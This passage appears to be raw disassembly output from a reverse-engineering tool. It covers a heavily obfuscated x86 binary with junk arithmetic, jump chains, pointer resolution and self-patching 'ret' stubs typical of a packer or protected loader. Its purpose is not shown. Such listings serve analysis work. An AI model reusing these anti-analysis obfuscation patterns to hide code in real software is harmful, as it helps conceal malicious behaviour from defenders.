; END OF FUNCTION CHUNK	FOR sub_7535F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_75614B:				; CODE XREF: sub_747AEC+9B19j
		add	esi, ebx
		jnz	loc_7484D8


loc_756153:				; CODE XREF: sub_74C4BB:loc_74EE6Dj
		jmp	loc_75122E
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_756158	proc near		; CODE XREF: sub_74C8DA:loc_74ABB7j
					; sub_7543C5:loc_750167j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00754D93 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00756A46 SIZE 0000000A BYTES

		pop	edx
		jnb	loc_756A46
		push	offset loc_756AF7
		jmp	locret_7497CF
sub_756158	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_756169:				; CODE XREF: _0z4jwtox:007466BCj
		sbb	esi, eax
		sub	edx, 74D62D77h
; START	OF FUNCTION CHUNK FOR sub_748357


loc_756171:				; CODE XREF: sub_748357-1CAEj
		xor	eax, 0D4EC19BCh
		call	sub_746E93
		mov	ds:dword_41F16C, eax
		lea	eax, nullsub_265
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_265
; END OF FUNCTION CHUNK	FOR sub_748357
; ---------------------------------------------------------------------------
		sbb	ecx, edi
		jmp	loc_748D33
; ---------------------------------------------------------------------------
		mov	ds:off_41F09C, eax
		lea	eax, sub_74C0A0
		mov	byte ptr [eax],	0C3h
		jmp	loc_74D5B4

; =============== S U B	R O U T	I N E =======================================



sub_7561AB	proc near		; CODE XREF: sub_406782+77p
					; sub_755CE6+9j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007455A6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00745AFA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00745D57 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00749F07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074A50D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074AC92 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074B33A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0074D269 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D9C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074DA83 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074DB46 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074E308 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074EE22 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074EECC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00750CF9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00750FA8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00751ECF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00751F42 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00752765 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00752FF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753CD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753F6A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 007544D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075648C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756E4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007574C3 SIZE 00000005 BYTES

		call	sub_755CE6


loc_7561B0:				; CODE XREF: sub_7561AB-7372j
		jmp	loc_745AFA
sub_7561AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:dword_41F144, eax
		lea	eax, nullsub_12
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_12
; ---------------------------------------------------------------------------


loc_7561C9:				; CODE XREF: _0z4jwtox:0074BB77j
		call	sub_74DDDA
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_7561CE:				; CODE XREF: sub_748BBE+7AADj
		jmp	loc_755204
; END OF FUNCTION CHUNK	FOR sub_748BBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754175


loc_7561D3:				; CODE XREF: _0z4jwtox:0074FB49j
					; sub_754175+Cj
		xchg	ebx, [esp-4+arg_0]
		mov	eax, ebx
		pop	ebx
		or	eax, 9FBD5AD0h
		sub	eax, 7445A6E6h
		jmp	loc_753B98
; END OF FUNCTION CHUNK	FOR sub_754175
; ---------------------------------------------------------------------------


loc_7561EA:				; CODE XREF: _0z4jwtox:00756FC6j
		jno	loc_74C954
		xchg	ecx, esi

; =============== S U B	R O U T	I N E =======================================



sub_7561F2	proc near		; CODE XREF: _0z4jwtox:00746883p
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:off_41F04C, eax
		lea	eax, sub_748BB8
		call	sub_74CB0C


loc_756207:				; CODE XREF: _0z4jwtox:loc_74CB89j
		mov	ds:dword_41F190, eax
		lea	eax, nullsub_11
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_11
sub_7561F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A3AC


loc_75621B:				; CODE XREF: sub_41A3AC+1Aj
					; sub_41A3AC+33BE74j
					; DATA XREF: ...
		call	sub_75622B
		jmp	ds:off_41F194
; END OF FUNCTION CHUNK	FOR sub_41A3AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_756226:				; CODE XREF: sub_74AE46+7EF7j
		jmp	loc_754465
; END OF FUNCTION CHUNK	FOR sub_74AE46

; =============== S U B	R O U T	I N E =======================================



sub_75622B	proc near		; CODE XREF: sub_745A78:loc_7523D4j
					; sub_75622B:loc_753E3Bj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745CF5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00747F6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074864C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00749924 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E616 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F2E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007526DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00753A6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753E36 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00755640 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0075645F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 007571D6 SIZE 0000000A BYTES

		jnz	loc_7571D6
		jmp	loc_753E36
sub_75622B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_756236:				; CODE XREF: _0z4jwtox:00756C9Ej
		retn
; ---------------------------------------------------------------------------


loc_756237:				; CODE XREF: _0z4jwtox:0074E642j
		jmp	locret_749B6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_75623C:				; CODE XREF: sub_74C2C9-5D7Fj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------


loc_756241:				; CODE XREF: _0z4jwtox:loc_74D007j
		add	eax, 54D99786h
		mov	eax, [eax]
		popf
		call	sub_74CF35
; START	OF FUNCTION CHUNK FOR sub_74DFF3


loc_75624F:				; CODE XREF: sub_74DFF3:loc_74940Dj
		xchg	ebp, [esp+0]
		push	eax
		push	0EA16B373h
		pop	eax
		or	eax, 0EFF126EDh
		jmp	loc_756045
; END OF FUNCTION CHUNK	FOR sub_74DFF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F1FE


loc_756264:				; CODE XREF: sub_74F1FE:loc_752EE8j
		jge	loc_74C16B
; END OF FUNCTION CHUNK	FOR sub_74F1FE
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_75626A:				; CODE XREF: sub_74FE55+5A38j
		jmp	loc_74C19E
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_751078


loc_75626F:				; CODE XREF: sub_751078+24B0j
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_751078
; ---------------------------------------------------------------------------
		rol	ecx, 19h


loc_756277:				; CODE XREF: _0z4jwtox:loc_757492j
		jmp	loc_74C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_75627C:				; CODE XREF: sub_74E451+4C00j
		add	eax, 0BABF160Fh
		push	offset sub_749608
		jmp	loc_752DB0
; END OF FUNCTION CHUNK	FOR sub_74E451
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_75628C:				; CODE XREF: sub_74F08D:loc_745D5Dj
		pop	edi
		sub	edi, 0BF975780h
		add	edi, 4A9B7775h
		xchg	edi, [esp-8+arg_4]
		jmp	loc_74B6F5
; END OF FUNCTION CHUNK	FOR sub_74F08D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C44


loc_7562A1:				; CODE XREF: sub_752C44-C792j
		adc	ebx, eax
		pushf
		jmp	loc_752696
; END OF FUNCTION CHUNK	FOR sub_752C44
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7562AA:				; CODE XREF: _0z4jwtox:loc_7478ECj
		push	eax
		mov	eax, edx
		call	sub_747892
		mov	eax, [esp]
		push	edx
		push	41A00D31h
		jmp	loc_74F390
; ---------------------------------------------------------------------------


loc_7562C0:				; DATA XREF: sub_74AD4Co
		call	sub_7562D5
		jmp	ds:off_41F048
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75100C


loc_7562CB:				; CODE XREF: sub_75100C+Bj
		jmp	sub_74894B
; END OF FUNCTION CHUNK	FOR sub_75100C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746FBD


loc_7562D0:				; CODE XREF: sub_746FBD+7C20j
		jmp	loc_750ED8
; END OF FUNCTION CHUNK	FOR sub_746FBD

; =============== S U B	R O U T	I N E =======================================



sub_7562D5	proc near		; CODE XREF: sub_748B97:loc_748C03j
					; sub_74A445:loc_74A456j ...

; FUNCTION CHUNK AT 00746E4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751EDB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00753D71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754564 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00755A5A SIZE 0000001E BYTES

		pop	edx
		js	loc_755A5A
		mov	eax, [esp+0]
		push	edx
		jmp	loc_751EDB
sub_7562D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75532F


loc_7562E5:				; CODE XREF: sub_75532F:loc_74CEC8j
		jge	loc_746F0C
		popf
		jmp	loc_746F06
; END OF FUNCTION CHUNK	FOR sub_75532F
; ---------------------------------------------------------------------------


loc_7562F1:				; CODE XREF: _0z4jwtox:0074BC6Ej
		add	edx, 9DCE8446h

; =============== S U B	R O U T	I N E =======================================



sub_7562F7	proc near		; CODE XREF: sub_7543C5+Ap

; FUNCTION CHUNK AT 0074C934 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074ECD6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00750EA8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00751EC1 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, ds:dword_756488
		or	eax, eax
		jnz	loc_750EDE
		jmp	loc_750EA8
sub_7562F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_75630E	proc near		; DATA XREF: _0z4jwtox:0075389Eo
		call	sub_746E93
		mov	ds:off_41F0E4, eax
		lea	eax, loc_750676
		mov	byte ptr [eax],	0C3h
		jmp	loc_750676
sub_75630E	endp


; =============== S U B	R O U T	I N E =======================================



sub_756327	proc near		; CODE XREF: sub_408F94+3Dp
					; _0z4jwtox:00751382j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00749DBC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C413 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007540FF SIZE 00000005 BYTES

		push	ecx
		jmp	loc_74C413
sub_756327	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_75632D:				; CODE XREF: sub_7544F1+8j
		jz	loc_746C30
		jmp	loc_7566D4
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------


loc_756338:				; CODE XREF: _0z4jwtox:0074FD31j
		add	edx, 0BF48647Bh


loc_75633E:				; CODE XREF: _0z4jwtox:loc_74FD1Fj
		rol	ecx, 1Ah
		and	ecx, 96C0F807h
		sub	ecx, 0A6D3A518h
		call	sub_75265A


loc_756352:				; CODE XREF: _0z4jwtox:0074F2AFj
		jmp	loc_74FD56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748538


loc_756357:				; CODE XREF: sub_748538-1300j
		jmp	loc_74EA37
; END OF FUNCTION CHUNK	FOR sub_748538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746F33


loc_75635C:				; CODE XREF: sub_746F33-3BEj
		jmp	loc_754C1A
; END OF FUNCTION CHUNK	FOR sub_746F33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_756361:				; CODE XREF: sub_746640+F046j
		jl	loc_75129A


loc_756367:				; CODE XREF: _0z4jwtox:loc_74E118j
		jmp	loc_74BBB4
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_75636C:				; CODE XREF: sub_74724C+CAA2j
		mov	ds:off_41F020, eax
		lea	eax, loc_75078A
		mov	byte ptr [eax],	0C3h
		jmp	loc_75078A
; ---------------------------------------------------------------------------


loc_756380:				; CODE XREF: sub_74724C:loc_75078Aj
		xchg	eax, [esp+4+var_4]
		push	eax
		pop	edx
		xchg	ebp, [esp+4+var_4]
		jmp	loc_745C3E
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_75638D:				; CODE XREF: sub_74D4D3:loc_7455C8j
		mov	eax, [ebp-8]
		shl	eax, 0Fh


loc_756393:				; CODE XREF: sub_74F73B:loc_74CEC3j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_74E64D
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
		or	ebp, ecx
		jmp	sub_7499A5
; ---------------------------------------------------------------------------


loc_7563A5:				; CODE XREF: _0z4jwtox:loc_74AEC1j
					; _0z4jwtox:00756407j
		rol	eax, 2
		add	eax, 0F0F4CD3Eh
		add	eax, ebp
		add	eax, 6C9A19Dh
		mov	eax, [eax]
		jmp	loc_756475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7453AD


loc_7563BD:				; CODE XREF: sub_7453AD:loc_74F286j
		jz	loc_745F4F
		jmp	loc_74ECCC
; END OF FUNCTION CHUNK	FOR sub_7453AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572D3


loc_7563C8:				; CODE XREF: sub_7572D3+Aj
		push	eax
		call	sub_74C2C9
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_748240
		lea	eax, [ebp-125h]
		push	eax


loc_7563E2:				; CODE XREF: sub_75143A+4666j
		call	sub_7451D9
		jmp	loc_74A926
; END OF FUNCTION CHUNK	FOR sub_7572D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7499A5


loc_7563EC:				; CODE XREF: sub_7499A5+Ej
		call	sub_75310B
		dec	eax
		push	0E2AD0DFh
		pop	edx
		jmp	loc_7454D1
; END OF FUNCTION CHUNK	FOR sub_7499A5
; ---------------------------------------------------------------------------


loc_7563FD:				; CODE XREF: _0z4jwtox:0074AECEj
		jge	loc_752F3D
		not	esi
		xor	ebx, eax
		jmp	loc_7563A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA04


loc_75640C:				; CODE XREF: sub_74BA04+Fj
		push	5CA23EAEh
		add	eax, edx
		jmp	loc_7510D4
; END OF FUNCTION CHUNK	FOR sub_74BA04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_756418:				; CODE XREF: sub_7543C5+350Aj
		jp	loc_746B17


loc_75641E:				; CODE XREF: sub_7543C5:loc_745ECDj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74F6F8
		jmp	loc_74F72A
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_75642F:				; CODE XREF: _0z4jwtox:0074A337j
		jp	loc_748F07

; =============== S U B	R O U T	I N E =======================================



sub_756435	proc near		; CODE XREF: sub_749C95+5p
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		jmp	loc_745F27
sub_756435	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_75643F:				; CODE XREF: sub_74F688:loc_753609j
		add	eax, 0DD67DBh
		push	offset loc_74BCE4
		jmp	nullsub_188
; END OF FUNCTION CHUNK	FOR sub_74F688

; =============== S U B	R O U T	I N E =======================================



sub_75644F	proc near		; CODE XREF: _0z4jwtox:00745745j
					; _0z4jwtox:007466F1p

; FUNCTION CHUNK AT 007513B8 SIZE 00000020 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		push	0B093DCFAh
		pop	edx
		jmp	loc_7513B8
sub_75644F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_75645F:				; CODE XREF: sub_75622B:loc_753A6Dj
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	esi


loc_756464:				; DATA XREF: .data:off_431180o
		mov	esi, edx
		jmp	loc_74E616
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_75646B:				; CODE XREF: sub_74D23E:loc_74FF5Dj
		mov	eax, 2F2C0C2Fh
		call	sub_74B3EB


loc_756475:				; CODE XREF: _0z4jwtox:007563B8j
		jmp	loc_7480A1
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------


loc_75647A:				; CODE XREF: _0z4jwtox:0075586Ej
		jmp	loc_748EB3
; ---------------------------------------------------------------------------
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_74BA2F


loc_756482:				; CODE XREF: sub_74BA2F+315Dj
		call	sub_746CF0
		retn
; END OF FUNCTION CHUNK	FOR sub_74BA2F
; ---------------------------------------------------------------------------
dword_756488	dd 0E952470Fh						; sub_750ECF:loc_750ED8w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_75648C:				; CODE XREF: sub_7561AB-24D5j
		jmp	loc_750FA8
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_756491:				; CODE XREF: sub_74A4B0+20CFj
		jmp	loc_749C74
; END OF FUNCTION CHUNK	FOR sub_74A4B0

; =============== S U B	R O U T	I N E =======================================



sub_756496	proc near		; CODE XREF: .text:00415E85p
					; DATA XREF: zugr1819:off_41F160o

; FUNCTION CHUNK AT 0074B2DA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074B7DA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074F76B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FF8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753B15 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00754317 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007556CB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0075671A SIZE 00000005 BYTES

		jnz	loc_74FF8E
		mov	eax, ds:dword_753554
		jmp	loc_7556CB
sub_756496	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7564A7	proc near		; CODE XREF: sub_746DD8:loc_74F28Bp
					; _0z4jwtox:00750E1Ej

; FUNCTION CHUNK AT 007525B2 SIZE 00000006 BYTES

		xchg	eax, [esp+0]
		pop	eax
		lea	eax, loc_74FBB6
		call	sub_746DD8


loc_7564B6:				; CODE XREF: sub_74E762+90D4j
		jmp	loc_7525B2
sub_7564A7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7564BB:				; CODE XREF: _0z4jwtox:007546A4j
		jmp	loc_75592D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B5B


loc_7564C0:				; CODE XREF: sub_755B5B-79B8j
		jmp	nullsub_193
; END OF FUNCTION CHUNK	FOR sub_755B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DE1F


loc_7564C5:				; CODE XREF: sub_74DE1F+4j
		jmp	loc_74A9F1
; END OF FUNCTION CHUNK	FOR sub_74DE1F
; ---------------------------------------------------------------------------


loc_7564CA:				; CODE XREF: _0z4jwtox:0074AD7Aj
		jmp	loc_7576DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_7564CF:				; CODE XREF: sub_749B76-361j
		jmp	nullsub_194
; END OF FUNCTION CHUNK	FOR sub_749B76
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_7564D5	proc near		; DATA XREF: sub_74BCF7+7ABAo

; FUNCTION CHUNK AT 00752179 SIZE 00000005 BYTES

		push	0F9756F96h
		pop	esi
		sub	esi, 0B967570Fh
		test	esi, 80000000h
		jmp	loc_752179
sub_7564D5	endp

; ---------------------------------------------------------------------------
		mov	eax, 0A0DFF08Ah
		call	sub_746E93
		mov	ds:off_41F114, eax
		lea	eax, loc_747847
		jmp	loc_7552DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_756507:				; CODE XREF: sub_747736+4CB0j
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax


loc_756510:				; CODE XREF: _0z4jwtox:loc_745609j
		jmp	loc_74DE2C
; ---------------------------------------------------------------------------


loc_756515:				; CODE XREF: sub_747736:loc_74C3D7j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_74DE2C
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_74DE2C
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_75652B:				; CODE XREF: _0z4jwtox:00745377j
					; sub_74A71A+ABFj
		cmp	dword ptr [ebp-1Ch], 67h
		jmp	loc_74DEF9
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_756534:				; CODE XREF: sub_748C0D:loc_749850j
					; sub_7570B1:loc_74D61Dj
		pop	eax
		xor	eax, 4206A0D2h
		cmp	eax, 0AEFA7735h
		jmp	loc_74C27B
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_756546:				; CODE XREF: sub_7523A2:loc_752332j
		jb	loc_74BB30
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_754E36
		mov	eax, 36428C3Ch
		call	sub_746E93
		mov	ds:off_41F0D8, eax
		lea	eax, sub_7523A2
		jmp	loc_74BB28
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_756570:				; CODE XREF: sub_748DCB:loc_7546A9j
					; _0z4jwtox:007546CCj
		sub	eax, 56D0A954h
		test	eax, 1
		jmp	loc_749359
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_756581:				; CODE XREF: sub_7557E7:loc_748BAEj
		jz	loc_74D75E
; END OF FUNCTION CHUNK	FOR sub_7557E7
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_756587:				; CODE XREF: sub_74BFE0+3000j
		jmp	loc_754D1D
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75658C:				; CODE XREF: sub_747C22+1585j
		jmp	loc_74EBF1
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474F5


loc_756591:				; CODE XREF: sub_7474F5+10j
		jmp	loc_74B2BB
; END OF FUNCTION CHUNK	FOR sub_7474F5
; ---------------------------------------------------------------------------
		shl	eax, 0Bh
		ja	loc_745D47
		jmp	loc_74D759
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7577DE


loc_7565A4:				; CODE XREF: sub_7577DE+Cj
		rol	ecx, 0Fh
		xor	ecx, 0FD45EA5Eh
; END OF FUNCTION CHUNK	FOR sub_7577DE
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_7565AD:				; CODE XREF: sub_7514AC:loc_7556F9j
		or	ecx, 0A8F76D05h
		xor	ecx, 0B4E0304h
		jmp	loc_7507F0
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C2D


loc_7565BE:				; CODE XREF: sub_750C2D+5299j
		test	edi, 5C54B5A2h
		jmp	loc_746102
; END OF FUNCTION CHUNK	FOR sub_750C2D
; ---------------------------------------------------------------------------


loc_7565C9:				; CODE XREF: _0z4jwtox:0075598Aj
		pop	eax
		cdq
		test	esi, eax
		jmp	loc_74F8B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_7565D2:				; CODE XREF: sub_74F688:loc_7463DEj
		add	eax, 19DDE2A0h
		call	sub_746E93
		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp+4+var_4]
		push	0FA059107h
		jmp	loc_75363C
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------


loc_7565ED:				; CODE XREF: _0z4jwtox:007573E0j
		mov	[edx], ecx

; =============== S U B	R O U T	I N E =======================================



sub_7565EF	proc near		; CODE XREF: sub_74D23E+9629p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007560C9 SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	ebx
		jmp	loc_7560C9
sub_7565EF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74698F


loc_7565FC:				; CODE XREF: sub_74698F-BAEj
		push	eax
		push	0


loc_7565FF:				; CODE XREF: sub_74D1F3:loc_74D002j
		push	offset sub_752969
		jmp	loc_74542B
; END OF FUNCTION CHUNK	FOR sub_74698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_756609:				; CODE XREF: sub_74673E:loc_750A77j
					; sub_753176:loc_750DFFj
					; DATA XREF: ...
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_74F38C
		or	eax, eax
		jnz	loc_7499F5
		jmp	loc_750710
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C527


loc_75661F:				; CODE XREF: sub_74C527+90CDj
		mov	eax, edx
		pop	edx
		xor	eax, 1DA8AD7Eh
		rol	eax, 1Ch
		add	eax, 384430ACh
		xchg	eax, [esp+8+var_8]
		jmp	sub_756691
; END OF FUNCTION CHUNK	FOR sub_74C527

; =============== S U B	R O U T	I N E =======================================



sub_756639	proc near		; CODE XREF: _0z4jwtox:00745898j
					; sub_749FEE+CCEDp

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	esi, 184B20Ch
		xchg	esi, [esp-4+arg_0]
		jmp	loc_754B4A
sub_756639	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745183


loc_75664B:				; CODE XREF: sub_745183:loc_7469CAj
		jns	loc_74F91B
; END OF FUNCTION CHUNK	FOR sub_745183
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_756651:				; CODE XREF: sub_75051C+D3Aj
		jmp	loc_75344B
; END OF FUNCTION CHUNK	FOR sub_75051C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_756656:				; CODE XREF: sub_755E40-73B5j
		jmp	loc_7485FD
; END OF FUNCTION CHUNK	FOR sub_755E40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_75665B:				; CODE XREF: sub_748723+A56j
		jmp	loc_74F5D0
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------
		or	eax, 87107C5h
		xor	esi, 0FD0A28F4h
		jmp	loc_74F917
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DE1


loc_756671:				; CODE XREF: sub_746E93+3CBBj
					; sub_752DE1+6j ...
		xchg	eax, edx
		call	sub_74B525
		retn
